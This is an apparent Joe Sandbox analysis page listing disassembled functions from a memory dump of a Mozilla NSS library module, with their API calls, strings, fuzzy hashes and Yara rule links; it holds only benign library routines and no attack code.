Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$K11_$DestroyPrivatecalloc$CriticalDoesEnterErrorFreeInternalItem_MechanismSectionSlotUnlockUtilZfree
String ID:
API String ID: 3936029921-0
Opcode ID: 2b516d45c484a929960d8008c0fe1560b6253bca88e37f24704c473224331d6e
Instruction ID: 8491810c9c96caf8a0694ec224cea7609e4dc4c3f8911b0c34525a2aea247d0c
Opcode Fuzzy Hash: 2b516d45c484a929960d8008c0fe1560b6253bca88e37f24704c473224331d6e
Instruction Fuzzy Hash: 0451A2B5E002199FDB00DFA8DD41AAFB7F9EF48318F194129E809A7701E731ED548BA1

Function 6CADADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAE10
EnterCriticalSection.KERNEL32(?,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CABD079,00000000,00000001), ref: 6CADAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAE7F
TlsGetValue.KERNEL32(?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAEF1
free.MOZGLUE(6CABCDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CABCDBB,?), ref: 6CADAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAF30

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 4e73ca159282f188fa1ceffff0500e2d846f7f0ecd97625c4a3bc5f231fc56d8
Instruction ID: de5410802ba30f838d85202bb027bbd208832ce82f98635ee0561bd353660dbf
Opcode Fuzzy Hash: 4e73ca159282f188fa1ceffff0500e2d846f7f0ecd97625c4a3bc5f231fc56d8
Instruction Fuzzy Hash: 8A519EB5A01A12AFDB01DF29D884B5AB7B5FF08318F194664E81897B11E731FCA4CBD1

Function 6CAB4CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CABAB7F,?,00000000,?), ref: 6CAB4CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CABAB7F,?,00000000,?), ref: 6CAB4CC8
TlsGetValue.KERNEL32(?,6CABAB7F,?,00000000,?), ref: 6CAB4CE0
EnterCriticalSection.KERNEL32(?,?,6CABAB7F,?,00000000,?), ref: 6CAB4CF4
PL_HashTableLookup.NSS3(?,?,?,6CABAB7F,?,00000000,?), ref: 6CAB4D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CAB4D10

Part of subcall function 6CB3DD70: TlsGetValue.KERNEL32 ref: 6CB3DD8C
Part of subcall function 6CB3DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4

PR_Now.NSS3(?,00000000,?), ref: 6CAB4D26

Part of subcall function 6CB59DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CBA0A27), ref: 6CB59DC6
Part of subcall function 6CB59DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CBA0A27), ref: 6CB59DD1
Part of subcall function 6CB59DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB59DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CAB4D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CAB4DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CAB4E02

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: fda45a1bf4eced04069f6672df87c0c7d3f29286274bc0c9b4d38524a77c580e
Instruction ID: 5c8dd3d5ca35b75dafa1adb43a4a13bf6c916684763fb0647cb2b08f0c162d79
Opcode Fuzzy Hash: fda45a1bf4eced04069f6672df87c0c7d3f29286274bc0c9b4d38524a77c580e
Instruction Fuzzy Hash: E741D8B5900215ABEB019F78ED44AAA77BCFF05258F084170EC1897B12FB31E9A8C7D1

Function 6CB34A70 Relevance: 15.1, APIs: 10, Instructions: 113memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(00000048,00000A20,0000032C,?,00000000,?,6CB2AEC0,00000A20,00000000), ref: 6CB34A8B

Part of subcall function 6CAF0D30: calloc.MOZGLUE ref: 6CAF0D50
Part of subcall function 6CAF0D30: TlsGetValue.KERNEL32 ref: 6CAF0D6D

SECITEM_CopyItem_Util.NSS3(00000000,00000008,?,00000000), ref: 6CB34AAA

Part of subcall function 6CAEFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAE8D2D,?,00000000,?), ref: 6CAEFB85
Part of subcall function 6CAEFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CAEFBB1

PORT_Strdup_Util.NSS3(?,?,?,?,00000000), ref: 6CB34ABD

Part of subcall function 6CAF0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CA92AF5,?,?,?,?,?,6CA90A1B,00000000), ref: 6CAF0F1A
Part of subcall function 6CAF0F10: malloc.MOZGLUE(00000001), ref: 6CAF0F30
Part of subcall function 6CAF0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CAF0F42

SECITEM_CopyItem_Util.NSS3(00000000,00000020,?,?,?,?,?,00000000), ref: 6CB34AD6
SECITEM_CopyItem_Util.NSS3(00000000,00000034,?,?,?,?,?,?,?,?,00000000), ref: 6CB34AEC

Part of subcall function 6CAEFB60: PORT_Alloc_Util.NSS3(E0056800,00000000,?,?,6CAE8D2D,?,00000000,?), ref: 6CAEFB9B

SECITEM_ZfreeItem_Util.NSS3(00000020,00000000,?,?,?,00000000), ref: 6CB34B49
SECITEM_ZfreeItem_Util.NSS3(-00000034,00000000,?,?,?,?,?,00000000), ref: 6CB34B58
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6CB34B64
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CB34B74
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 6CB34B7E

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Item_$Alloc_CopyZfree$freememcpy$ArenaStrdup_Valuecallocmallocstrlen
String ID:
API String ID: 476651045-0
Opcode ID: 4861f715198497d1dc48d7c9964f26ee09195394fa92240cd0138ab281d6cb10
Instruction ID: eb56bd58c1538fb4f0807ea649ba10bc160ca5c37fe1cdfe12c5e9cc7737b908
Opcode Fuzzy Hash: 4861f715198497d1dc48d7c9964f26ee09195394fa92240cd0138ab281d6cb10
Instruction Fuzzy Hash: 6F31CEB59002559FD710CF65ED81A977FB8EF48248B044569EC4ECBB02F732E909CBA2

Function 6CAB89C0 Relevance: 15.1, APIs: 10, Instructions: 84COMMON

Download Yara Rule

APIs

PK11_CreateDigestContext.NSS3(00000004,00000000,00000000,00000000,00000000,?,6CABAE9B,00000000,?,?), ref: 6CAB89DE
PK11_DigestBegin.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,6CA92D6B,?,?,00000000), ref: 6CAB89EF
PK11_DigestOp.NSS3(00000000,57016AC6,034C08E8,?,00000000,?,?,?,?,?,?,?,?,?,?,6CA92D6B), ref: 6CAB8A02
PK11_DestroyContext.NSS3(00000000,00000001,?,00000000,?,?,?,?,?,?,?,?,?,?,6CA92D6B,?), ref: 6CAB8A11

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: K11_$Digest$Context$BeginCreateDestroy
String ID:
API String ID: 407214398-0
Opcode ID: 077b99bb963e8eb4174e86c43daeec89c79b078e5e5fc01cd9969ccc11408fc9
Instruction ID: b6a5d3ea1418ae406d41b35005c8f51560c9adbba21a32cd5bf2af5071b2a78c
Opcode Fuzzy Hash: 077b99bb963e8eb4174e86c43daeec89c79b078e5e5fc01cd9969ccc11408fc9
Instruction Fuzzy Hash: 0311E7B6E003066AFB005A686D81BAB755C9B4175DF08003AFD09BAB46F732D5DCD2F2

Function 6CA92E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CA92CDA,?,00000000), ref: 6CA92E1E

Part of subcall function 6CAEFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CA99003,?), ref: 6CAEFD91
Part of subcall function 6CAEFD80: PORT_Alloc_Util.NSS3(A4686CAF,?), ref: 6CAEFDA2
Part of subcall function 6CAEFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CAF,?,?), ref: 6CAEFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CA92E33

Part of subcall function 6CAEFD80: free.MOZGLUE(00000000,?,?), ref: 6CAEFDD1

TlsGetValue.KERNEL32 ref: 6CA92E4E
EnterCriticalSection.KERNEL32(?), ref: 6CA92E5E
PL_HashTableLookup.NSS3(?), ref: 6CA92E71
PL_HashTableRemove.NSS3(?), ref: 6CA92E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CA92E96
PR_Unlock.NSS3 ref: 6CA92EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA92EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA92EC5

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 9d4bece125449d31a60d9d03ad645c78cdf3bcfc3debd3b55ba2ec04f6eb866a
Instruction ID: d3098d630c6092ccc64cc1fdaabbea40cffa57fc0919cc1a0abfb67dafc43ef5
Opcode Fuzzy Hash: 9d4bece125449d31a60d9d03ad645c78cdf3bcfc3debd3b55ba2ec04f6eb866a
Instruction Fuzzy Hash: CD21F576A00144A7EF016E74FC4AE9A3EB9DB8234DF080130ED2887711F732D5A8D6A2

Function 6CA1CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CA1B999), ref: 6CA1CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CA1B999), ref: 6CA1D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CA1B999), ref: 6CA1D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CA1B999), ref: 6CB6972B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA1CFDD, 6CA1D00E, 6CA1D022, 6CA1D033, 6CB69780
%s at line %d of [%.10s], xrefs: 6CA1CFEC, 6CA1D018, 6CA1D029, 6CA1D03F, 6CB6978B
database corruption, xrefs: 6CA1CFE7, 6CA1D013, 6CA1D028, 6CA1D039, 6CA1D03E, 6CB69786

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 0abc9e8e77749007bb729db272402f8fcf398cfc80839b2f5730a7ed8e310b06
Instruction ID: b3624bc258817c8b3837b2bbb29da64c78ed67fecf6039c7c8cce505250f9430
Opcode Fuzzy Hash: 0abc9e8e77749007bb729db272402f8fcf398cfc80839b2f5730a7ed8e310b06
Instruction Fuzzy Hash: 40612871A042508BD310CF29C941BA6B7F5EF55318F2881ADE4499FF42D376D987C7A1

Function 6CB1EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CB3A4A1,?,00000000,?,00000001), ref: 6CB1EF6D

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

htonl.WSOCK32(00000000,?,6CB3A4A1,?,00000000,?,00000001), ref: 6CB1EFE4
htonl.WSOCK32(?,00000000,?,6CB3A4A1,?,00000000,?,00000001), ref: 6CB1EFF1
memcpy.VCRUNTIME140(?,?,6CB3A4A1,?,00000000,?,6CB3A4A1,?,00000000,?,00000001), ref: 6CB1F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CB3A4A1,?,00000000,?,00000001), ref: 6CB1F027

Strings

dtls13, xrefs: 6CB1EF33

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 0a924f7ee2a44e15adfe0605797df01f944434a4fc10c9636de03b447dfdd145
Instruction ID: fdc87cc8a3358fe21beb8c83d6322388f20676c6e69bd8e966bd70e50ff6fce7
Opcode Fuzzy Hash: 0a924f7ee2a44e15adfe0605797df01f944434a4fc10c9636de03b447dfdd145
Instruction Fuzzy Hash: AF311671A082919FDB10CF68DC44B8EB7E4EF49348F158029EC189BB51E731E916CBE2

Function 6CA9AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CA9AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CBB9500,6CA93F91), ref: 6CA9AFD2

Part of subcall function 6CAEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBC18D0,?), ref: 6CAEB095

DER_GetInteger_Util.NSS3(?), ref: 6CA9B007

Part of subcall function 6CAE6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CA91666,?,6CA9B00C,?), ref: 6CAE6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CA9B02F
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CA9B046
PL_FreeArenaPool.NSS3 ref: 6CA9B058
PL_FinishArenaPool.NSS3 ref: 6CA9B060

Strings

security, xrefs: 6CA9AFB8

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 064932653b6a0af8413fbb0976e3d040a6a0df6d7ad237ad6d2d2868ce518a2f
Instruction ID: ec07bf5bf4a80d9dd05c94ef1cb278d2ace7e9a10cc3fef5a4cf919a9ae177aa
Opcode Fuzzy Hash: 064932653b6a0af8413fbb0976e3d040a6a0df6d7ad237ad6d2d2868ce518a2f
Instruction Fuzzy Hash: AF31F4704143409BDB208F24EC46BAA77E4AF8636CF140719F9B45BBD1E7329689C797

Function 6CAC2BF0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 66COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetMechanismInfo), ref: 6CAC2C0C
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CAC2C27

Part of subcall function 6CBA09D0: PR_Now.NSS3 ref: 6CBA0A22
Part of subcall function 6CBA09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CBA0A35
Part of subcall function 6CBA09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CBA0A66
Part of subcall function 6CBA09D0: PR_GetCurrentThread.NSS3 ref: 6CBA0A70
Part of subcall function 6CBA09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CBA0A9D
Part of subcall function 6CBA09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CBA0AC8
Part of subcall function 6CBA09D0: PR_vsmprintf.NSS3(?,?), ref: 6CBA0AE8
Part of subcall function 6CBA09D0: EnterCriticalSection.KERNEL32(?), ref: 6CBA0B19
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CBA0B48
Part of subcall function 6CBA09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CBA0C76
Part of subcall function 6CBA09D0: PR_LogFlush.NSS3 ref: 6CBA0C7E

PR_LogPrint.NSS3( type = 0x%x,?), ref: 6CAC2C40

Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(?), ref: 6CBA0B88
Part of subcall function 6CBA09D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CBA0C5D
Part of subcall function 6CBA09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CBA0C8D
Part of subcall function 6CBA09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0C9C
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(?), ref: 6CBA0CD1
Part of subcall function 6CBA09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CBA0CEC
Part of subcall function 6CBA09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0CFB
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CBA0D16
Part of subcall function 6CBA09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CBA0D26
Part of subcall function 6CBA09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0D35
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CBA0D65
Part of subcall function 6CBA09D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CBA0D70
Part of subcall function 6CBA09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CBA0D90
Part of subcall function 6CBA09D0: free.MOZGLUE(00000000), ref: 6CBA0D99

PR_LogPrint.NSS3( pInfo = 0x%p,?), ref: 6CAC2C59

Part of subcall function 6CBA09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CBA0BAB
Part of subcall function 6CBA09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0BBA
Part of subcall function 6CBA09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0D7E

Strings

slotID = 0x%x, xrefs: 6CAC2C22
type = 0x%x, xrefs: 6CAC2C3B
C_GetMechanismInfo, xrefs: 6CAC2C07
pInfo = 0x%p, xrefs: 6CAC2C54

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: DebugOutputStringfflush$Printfwrite$R_snprintf$CriticalCurrentEnterExplodeFlushR_vsmprintfR_vsnprintfSectionThreadTimefputcfreememcpy
String ID: pInfo = 0x%p$ slotID = 0x%x$ type = 0x%x$C_GetMechanismInfo
API String ID: 2688868551-112346095
Opcode ID: 83a50b1d19a2a67c84a46ab679e801e658ea1322d91e63f2528c9e477e4b8cc3
Instruction ID: ed21aa76ce8dfb0f6801febfaabc553530527fedc54187781bb561490a125a17
Opcode Fuzzy Hash: 83a50b1d19a2a67c84a46ab679e801e658ea1322d91e63f2528c9e477e4b8cc3
Instruction Fuzzy Hash: 7921B7797451809FDB009F58FE8CA993B75EB82329F084125E915D7711DB30DD88CB63

Function 6CADCC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CADCD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CADCE16
PR_SetError.NSS3(00000000,00000000), ref: 6CADD079

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
